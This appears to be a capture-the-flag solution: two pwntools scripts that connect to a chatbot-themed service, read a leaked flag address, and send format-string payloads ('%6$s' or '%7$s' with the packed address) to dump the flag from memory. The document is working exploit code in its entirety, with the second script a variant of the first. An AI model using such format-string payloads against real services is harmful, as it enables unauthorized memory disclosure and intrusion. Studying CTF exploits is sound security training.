from pwn import * context(os="linux",arch="x86",log_level="debug") context.terminal=["tmux","splitw","-h"]
ioTube=remote("simple-ai-bot.ctf.zone",4242)
ioTube.recvuntil("Hi, what can I help you with today?\n> ") ioTube.sendline("flag") ioTube.recvuntil("The flag is safely stored in 0x") flagAddr=int(ioTube.recvline()[:-1],16) ioTube.recvuntil('>')
ioTube.sendline(p64(flagAddr)+b"%6$s") ioTube.recvuntil("I'm sorry, I don't know about: ") flag=ioTube.recv().decode(errors="ignore") print("flag is here:{}\n".format(flag))
from pwn import * context(os="linux",arch="x86",log_level="debug") context.terminal=["tmux","splitw","-h"]
ioTube=remote("simple-ai-bot.ctf.zone",4242)
ioTube.recvuntil("Hi, what can I help you with today?\n> ") ioTube.sendline("flag") ioTube.recvuntil("The flag is safely stored in 0x") flagAddr=int(ioTube.recvline()[:-1],16) ioTube.recvuntil('>')
ioTube.sendline(b"%7$s"+b'1'*4+p64(flagAddr)) ioTube.recvuntil("I'm sorry, I don't know about: ") flag=ioTube.recv().decode(errors="ignore") print("flag is here:{}\n".format(flag))